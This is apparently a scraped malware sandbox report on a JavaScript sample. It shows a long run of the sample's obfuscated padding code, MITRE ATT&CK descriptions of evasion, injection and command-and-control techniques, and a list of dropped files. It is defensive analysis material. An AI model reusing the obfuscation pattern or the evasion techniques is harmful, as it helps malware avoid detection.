1139	ahaffqg = "z";
1140	ahaffqg = "L";
1141	ahaffqg = "j";
1142	ahaffqg = "e";
1143	ahaffqg = "H";
1144	ahaffqg = "a";
1145	ahaffqg = "E";
1146	ahaffqg = "T";
1147	mmvvx = "m";
1148	mmvvx = "C";
1149	mmvvx = "M";
1150	mmvvx = "M";
1151	mmvvx = "O";
1152	mmvvx = "P";
1153	mmvvx = "T";
1154	mmvvx = "L";
1155	mmvvx = "V";
1156	mmvvx = "H";
1157	mmvvx = "j";
1158	mmvvx = "m";
1159	wyhdyhz = "O";
1160	wyhdyhz = "m";
1161	wyhdyhz = "B";
1162	wyhdyhz = "h";
1163	wyhdyhz = "Z";
1164	wyhdyhz = "z";
1165	wyhdyhz = "s";
1166	wyhdyhz = "F";
1167	wyhdyhz = "k";
1168	wyhdyhz = "S";
1169	wyhdyhz = "v";
1170	wyhdyhz = "b";
1171	wyhdyhz = "c";
1172	wyhdyhz = "O";
1173	wyhdyhz = "J";
1174	wyhdyhz = "s";
1175	wyhdyhz = "p";
1176	wyhdyhz = "z";
1177	wyhdyhz = "G";
1178	wyhdyhz = "V";
1179	wyhdyhz = "u";
1180	wyhdyhz = "F";
1181	wyhdyhz = "L";
1182	wyhdyhz = "r";
1183	wyhdyhz = "I";
1184	wyhdyhz = "z";
1185	wyhdyhz = "a";
1186	wyhdyhz = "C";
1187	wyhdyhz = "q";
1188	wyhdyhz = "u";
1189	wyhdyhz = "a";
1190	wyhdyhz = "x";
1191	wyhdyhz = "R";
1192	wyhdyhz = "g";
1193	wyhdyhz = "m";
1194	wyhdyhz = "x";
1195	wyhdyhz = "B";
1196	wyhdyhz = "i";
1197	wyhdyhz = "X";
1198	wyhdyhz = "t";
1199	wyhdyhz = "j";
1200	fzvph = "9";
1201	hpqrkxdwy = "C";
1202	hpqrkxdwy = "a";
1203	hpqrkxdwy = "r";
1204	hpqrkxdwy = "p";
1205	vpzja = "w";
1206	vpzja = "x";
1207	vpzja = "W";
1208	vpzja = "M";
1209	vpzja = "L";
1210	vpzja = "b";
1211	vpzja = "h";
1212	vpzja = "N";
1213	vpzja = "K";
1214	vpzja = "J";
1215	vpzja = "B";
1216	vpzja = "v";
1217	vpzja = "u";
1218	vpzja = "T";
1219	vpzja = "v";
1220	vpzja = "L";
1221	vpzja = "n";
1222	vpzja = "e";
1223	vpzja = "d";
1224	vpzja = "l";
1225	vpzja = "L";
1226	vpzja = "M";
1227	vpzja = "x";
1228	vpzja = "W";
1229	vpzja = "Q";
1230	vpzja = "f";
1231	vpzja = "H";
1232	vpzja = "Y";
1233	vpzja = "L";
1234	vpzja = "S";
1235	vpzja = "S";
1236	vpzja = "T";
1237	vpzja = "b";
1238	vpzja = "8";
1239	wnejpfo = "K";
1240	wnejpfo = "Y";
1241	wnejpfo = "l";
1242	wnejpfo = "J";
1243	wnejpfo = "y";
1244	wnejpfo = "G";
1245	wnejpfo = "F";
1246	wnejpfo = "M";
1247	wnejpfo = ".";
1248	vvdqs = "Y";
1249	vvdqs = "w";
1250	vvdqs = "L";
1251	vvdqs = "u";
1252	vvdqs = "v";
1253	vvdqs = "l";
1254	vvdqs = "J";
1255	vvdqs = "U";
1256	vvdqs = "Y";
1257	vvdqs = "Q";
1258	vvdqs = "H";
1259	vvdqs = "G";
1260	vvdqs = "x";
1261	vvdqs = "W";
1262	vvdqs = "\"";
1263	efbmn = "m";
1264	efbmn = "y";
1265	efbmn = "A";
1266	efbmn = "/";
1267	zivnalkqs = "G";
1268	zivnalkqs = "K";
1269	zivnalkqs = "j";
1270	zivnalkqs = "D";
1271	zivnalkqs = "O";
1272	zivnalkqs = "H";
1273	zivnalkqs = "Y";
1274	zivnalkqs = "x";
1275	zivnalkqs = "h";
1276	zivnalkqs = "u";
1277	zivnalkqs = "v";
1278	zivnalkqs = "C";
1279	zivnalkqs = "c";
1280	zivnalkqs = "L";
1281	zivnalkqs = "d";
1282	zivnalkqs = "j";
1283	zivnalkqs = "n";
1284	zivnalkqs = "h";
1285	zivnalkqs = "A";
1286	zivnalkqs = "m";
1287	zivnalkqs = "T";
1288	zivnalkqs = "h";
1289	zivnalkqs = "e";
1290	zivnalkqs = "H";
1291	zivnalkqs = "F";
1292	zivnalkqs = "z";
1293	zivnalkqs = "P";
1294	zivnalkqs = "M";
1295	zivnalkqs = "c";
1296	zivnalkqs = "H";
1297	zivnalkqs = "b";
1298	zivnalkqs = "c";
1299	zivnalkqs = "c";
1300	zivnalkqs = "e";
1301	zivnalkqs = "o";
1302	zivnalkqs = "B";
1303	zivnalkqs = "z";
1304	zivnalkqs = "g";
1305	zivnalkqs = "L";
1306	zivnalkqs = "s";
1307	zivnalkqs = "V";
1308	zivnalkqs = "P";
1309	zivnalkqs = "r";
1310	zivnalkqs = "l";
1311	zivnalkqs = "N";
1312	vzetbvwei = "d";
1313	vzetbvwei = "K";
1314	vzetbvwei = "p";
1315	vzetbvwei = "J";
1316	vzetbvwei = "O";
1317	vzetbvwei = "D";
1318	vzetbvwei = "j";
1319	vzetbvwei = "l";
1320	vzetbvwei = "F";
1321	vzetbvwei = "q";
1322	vzetbvwei = "a";
1323	vzetbvwei = "j";
1324	vzetbvwei = "H";
1325	vzetbvwei = "v";
1326	vzetbvwei = "q";
1327	vzetbvwei = "q";
1328	vzetbvwei = "Q";
1329	vzetbvwei = "n";
1330	vzetbvwei = "Y";
1331	vzetbvwei = "G";
1332	vzetbvwei = "l";
1333	vzetbvwei = "J";
1334	vzetbvwei = "n";
1335	vzetbvwei = "Q";
1336	vzetbvwei = "X";
1337	vzetbvwei = "u";
1338	vzetbvwei = "Q";
1339	vzetbvwei = "E";
1340	vzetbvwei = "O";
1341	vzetbvwei = "c";
1342	vzetbvwei = "x";
1343	vzetbvwei = "g";
1344	vzetbvwei = "z";
1345	vzetbvwei = "Q";
1346	vzetbvwei = "P";
1347	vzetbvwei = "I";
1348	vzetbvwei = "e";
1349	vzetbvwei = "o";
1350	cgavjrw = "r";
1351	cgavjrw = "Z";
1352	cgavjrw = "K";
1353	cgavjrw = "v";
1354	cgavjrw = "K";
1355	cgavjrw = "q";
1356	cgavjrw = "x";
1357	cgavjrw = "x";
1358	cgavjrw = "g";
1359	cgavjrw = "s";
1360	cgavjrw = "Q";
1361	cgavjrw = "l";
1362	cgavjrw = "Q";
1363	cgavjrw = "l";
1364	cgavjrw = "n";
1365	cgavjrw = "r";
1366	cgavjrw = "n";
1367	cgavjrw = "u";
1368	cgavjrw = "P";
1369	cgavjrw = "v";
1370	cgavjrw = "S";
1371	cgavjrw = "j";
1372	cgavjrw = "d";
1373	cgavjrw = "0";
1374	uhevvvma = "Z";
1375	uhevvvma = "l";
1376	uhevvvma = "a";
1377	uhevvvma = "q";
1378	uhevvvma = "J";
1379	uhevvvma = "X";
1380	uhevvvma = "G";
1381	uhevvvma = "P";
1382	uhevvvma = "t";
1383	uhevvvma = "g";
1384	uhevvvma = "H";
1385	uhevvvma = "a";
1386	uhevvvma = "i";
1387	uhevvvma = "D";
1388	uhevvvma = "c";
1389	uhevvvma = "U";
1390	uhevvvma = "J";
1391	uhevvvma = "M";
1392	uhevvvma = "q";
1393	uhevvvma = "S";
1394	uhevvvma = "q";
1395	uhevvvma = "y";
1396	uhevvvma = "e";
1397	uhevvvma = "C";
1398	uhevvvma = "u";
1399	uhevvvma = "D";
1400	uhevvvma = "a";
1401	uhevvvma = "y";
1402	uhevvvma = "j";
1403	uhevvvma = "H";
1404	uhevvvma = "O";
1405	uhevvvma = "b";
1406	uhevvvma = "h";
1407	uhevvvma = "U";
1408	gtyygooly ( );	gtyygooly() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3274215974163975076.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\03066aa7-d579-4f16-b510-1c1f71ed51b1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1372

Windows Analysis Report
3274215974163975076.js